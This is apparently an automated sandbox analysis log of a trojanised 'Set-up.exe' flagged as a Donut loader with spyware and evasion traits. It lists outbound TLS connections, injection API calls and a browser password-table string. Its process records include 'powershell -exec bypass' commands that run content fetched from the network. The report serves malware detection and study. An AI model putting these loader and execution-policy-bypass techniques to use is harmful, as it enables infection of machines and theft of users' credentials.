Source: unknown	HTTPS traffic detected: 172.67.192.222:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.192.222:443 -> 192.168.2.6:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.192.222:443 -> 192.168.2.6:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.192.222:443 -> 192.168.2.6:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.192.222:443 -> 192.168.2.6:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.192.222:443 -> 192.168.2.6:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.192.222:443 -> 192.168.2.6:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.169.205:443 -> 192.168.2.6:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.113:443 -> 192.168.2.6:49772 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.2496099492.0000000002850000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown

Source: C:\Users\user\Desktop\'Set-up.exe

Code function: 0_2_0289C1A1 NtCreateSection,NtMapViewOfSection,VirtualAlloc,NtMapViewOfSection,VirtualProtect,VirtualProtect,VirtualProtect,CreateThread,

0_2_0289C1A1

Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_028503E1	0_2_028503E1
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_0289C1A1	0_2_0289C1A1
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_028862F1	0_2_028862F1
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_0285F22C	0_2_0285F22C
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_0287D22B	0_2_0287D22B
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_028543FE	0_2_028543FE
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_0285E308	0_2_0285E308
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_0287D318	0_2_0287D318
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_0288A35E	0_2_0288A35E
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_0287D361	0_2_0287D361
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_0287D370	0_2_0287D370
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_028880AE	0_2_028880AE
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_0285A0AE	0_2_0285A0AE
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_028680B4	0_2_028680B4
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_0288F0FE	0_2_0288F0FE
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_0288718E	0_2_0288718E
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_0285519E	0_2_0285519E
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_028671BF	0_2_028671BF
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_0286A1BD	0_2_0286A1BD
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_0285C1CE	0_2_0285C1CE
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_028571CE	0_2_028571CE
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_0287C1C8	0_2_0287C1C8
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_0287C1D0	0_2_0287C1D0
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_028711EE	0_2_028711EE
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_0285768E	0_2_0285768E
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_0285A6CE	0_2_0285A6CE
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_028636EE	0_2_028636EE
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_0286E64E	0_2_0286E64E
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_0286D789	0_2_0286D789
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_0285479E	0_2_0285479E
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_0288A7BE	0_2_0288A7BE
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_0287E729	0_2_0287E729
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_0287273E	0_2_0287273E
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_0286D488	0_2_0286D488
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_028684DA	0_2_028684DA
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_028874FE	0_2_028874FE
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_0285647E	0_2_0285647E
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_02879532	0_2_02879532
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_0288DAFE	0_2_0288DAFE
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_0285EA25	0_2_0285EA25
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_02857A2E	0_2_02857A2E
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_0288AB9E	0_2_0288AB9E
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_02862BB5	0_2_02862BB5
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_02874BBC	0_2_02874BBC
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_0286EBCE	0_2_0286EBCE
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_0288EB0E	0_2_0288EB0E
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_02872B1E	0_2_02872B1E
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_02885B21	0_2_02885B21
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_02855B4E	0_2_02855B4E
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_02886B7E	0_2_02886B7E
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_0288E88E	0_2_0288E88E
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_028768CE	0_2_028768CE
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_028688F8	0_2_028688F8
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_0288691E	0_2_0288691E
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_0285A95E	0_2_0285A95E
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_0285CE9C	0_2_0285CE9C
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_0287BE9D	0_2_0287BE9D
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_02857EBE	0_2_02857EBE
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_0287BEF8	0_2_0287BEF8
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_02859E7E	0_2_02859E7E
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_0288CFDF	0_2_0288CFDF
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_02861FDC	0_2_02861FDC
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_02859FDE	0_2_02859FDE
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_02884FF6	0_2_02884FF6
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_02858C9E	0_2_02858C9E
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_0285ADBE	0_2_0285ADBE
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_0288EDEE	0_2_0288EDEE
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_02871DEE	0_2_02871DEE
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_0286EDFE	0_2_0286EDFE
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: 0_2_0286FD7E	0_2_0286FD7E

Source: C:\Users\user\Desktop\'Set-up.exe	Code function: String function: 02865B2E appears 70 times
Source: C:\Users\user\Desktop\'Set-up.exe	Code function: String function: 0285977E appears 73 times

Source: 'Set-up.exe

Static PE information: invalid certificate

Source: 'Set-up.exe	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: 'Set-up.exe	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows

Source: 'Set-up.exe, 00000000.00000000.2101615393.0000000000527000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameshfolder.dll~/ vs 'Set-up.exe
Source: 'Set-up.exe, 00000000.00000003.2232859925.0000000002F2C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameshfolder.dll~/ vs 'Set-up.exe
Source: 'Set-up.exe	Binary or memory string: OriginalFilenameshfolder.dll~/ vs 'Set-up.exe

Source: 'Set-up.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: C:\Users\user\Desktop\'Set-up.exe	Process created: Commandline size = 4588
Source: C:\Users\user\Desktop\'Set-up.exe	Process created: Commandline size = 4588			Jump to behavior

Source: 00000000.00000002.2496099492.0000000002850000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/7@3/3

Source: C:\Users\user\Desktop\'Set-up.exe

Code function: 0_2_02850AF1 CreateToolhelp32Snapshot,Thread32First,Wow64SuspendThread,CloseHandle,Thread32Next,

0_2_02850AF1

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2268:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3180:120:WilError_03

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ocfzhfpo.0hm.ps1

Jump to behavior

Source: C:\Users\user\Desktop\'Set-up.exe

Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Jump to behavior

Source: C:\Users\user\Desktop\'Set-up.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 'Set-up.exe, 00000000.00000003.2286388499.00000000034D7000.00000004.00000800.00020000.00000000.sdmp, 'Set-up.exe, 00000000.00000003.2285562773.00000000034F5000.00000004.00000800.00020000.00000000.sdmp, 'Set-up.exe, 00000000.00000003.2309229388.0000000003592000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: 'Set-up.exe	String found in binary or memory: -Helper process exited with failure code: 0x%x
Source: 'Set-up.exe	String found in binary or memory: -HelperRegisterTypeLibrary: StatusCode invalidU
Source: 'Set-up.exe	String found in binary or memory: /LoadInf=
Source: 'Set-up.exe	String found in binary or memory: /InstallOnThisVersion: Invalid MinVersion string

Source: C:\Users\user\Desktop\'Set-up.exe

File read: C:\Users\user\Desktop\'Set-up.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\'Set-up.exe "C:\Users\user\Desktop\'Set-up.exe"
Source: C:\Users\user\Desktop\'Set-up.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass error code: 523
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\'Set-up.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass <!DOCTYPE html> <!--[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]--> <!--[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]--> <!--[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]--> <!--[if gt IE 8]><!--> <html class="no-js" lang="en-US"> <!--<![endif]--> <head> <title>Suspected phishing site \| Cloudflare</title> <meta charset="UTF-8" /> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <meta http-equiv="X-UA-Compatible" content="IE=Edge" /> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width,initial-scale=1" /> <link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/styles/cf.errors.css" /> <!--[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--> <style>body{margin:0;padding:0}</style> <!--[if gte IE 10]><!--> <script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElementById('cookie-alert'); cookieEl.style.display = 'block'; }) } </script> <!--<![endif]--> </head> <body> <div id="cf-wrapper"> <div class="cf-alert cf-alert-error cf-cookie-error" id="cookie-alert" data-translate="enable_cookies">Please enable cookies.</div> <div id="cf-error-details" class="cf-error-details-wrapper"> <div class="cf-section cf-wrapper" style="margin-top: 100px;margin-bottom:200px;"> <div class="cf-columns one"> <div class="cf-column"> <h4 class="cf-text-error"><i class="cf-icon-exclamation-sign" style="background-size: 18px; height: 18px; width: 18px; margin-bottom: 2px;"></i> Warning</h4> <h2 style="margin: 16px 0;">Suspected Phishing</h2> <strong>This website has been reported for potential phishing.</strong> <p>Phishing is when a site attempts to steal sensitive information by falsely presenting as a safe source.</p> <div style="display: flex; align-items: center;"> <p> <a href="https://www.cloudflare.com/learning/access-management/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">Learn More</a> <form action="/cdn-cgi/phish-bypass" method="GET" enctype="text/plain"> <input type="hidden" name="atok" value="gIVICfXZ57Xm8TFCFb_U7tR.ZkObLtdfUiGJ9wnfr2M-1734999517-0.0.1.1-/int_clp_ldr_sha.txt"> <button type="submit" class="cf-btn cf-btn-danger" style="color: #bd2426; background: transparent;" data-translate="dismiss_and_enter">Ignore & Proceed</button> </form> </p> </div> <
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\'Set-up.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass error code: 523	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass <!DOCTYPE html> <!--[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]--> <!--[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]--> <!--[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]--> <!--[if gt IE 8]><!--> <html class="no-js" lang="en-US"> <!--<![endif]--> <head> <title>Suspected phishing site \| Cloudflare</title> <meta charset="UTF-8" /> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <meta http-equiv="X-UA-Compatible" content="IE=Edge" /> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width,initial-scale=1" /> <link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/styles/cf.errors.css" /> <!--[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--> <style>body{margin:0;padding:0}</style> <!--[if gte IE 10]><!--> <script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElementById('cookie-alert'); cookieEl.style.display = 'block'; }) } </script> <!--<![endif]--> </head> <body> <div id="cf-wrapper"> <div class="cf-alert cf-alert-error cf-cookie-error" id="cookie-alert" data-translate="enable_cookies">Please enable cookies.</div> <div id="cf-error-details" class="cf-error-details-wrapper"> <div class="cf-section cf-wrapper" style="margin-top: 100px;margin-bottom:200px;"> <div class="cf-columns one"> <div class="cf-column"> <h4 class="cf-text-error"><i class="cf-icon-exclamation-sign" style="background-size: 18px; height: 18px; width: 18px; margin-bottom: 2px;"></i> Warning</h4> <h2 style="margin: 16px 0;">Suspected Phishing</h2> <strong>This website has been reported for potential phishing.</strong> <p>Phishing is when a site attempts to steal sensitive information by falsely presenting as a safe source.</p> <div style="display: flex; align-items: center;"> <p> <a href="https://www.cloudflare.com/learning/access-management/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">Learn More</a> <form action="/cdn-cgi/phish-bypass" method="GET" enctype="text/plain"> <input type="hidden" name="atok" value="gIVICfXZ57Xm8TFCFb_U7tR.ZkObLtdfUiGJ9wnfr2M-1734999517-0.0.1.1-/int_clp_ldr_sha.txt"> <button type="submit" class="cf-btn cf-btn-danger" style="color: #bd2426; background: transparent;" data-translate="dismiss_and_enter">Ignore & Proceed</button> </form> </p> </div> <	Jump to behavior

Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: 'Set-up.exe

Static file information: File size 75052076 > 1048576

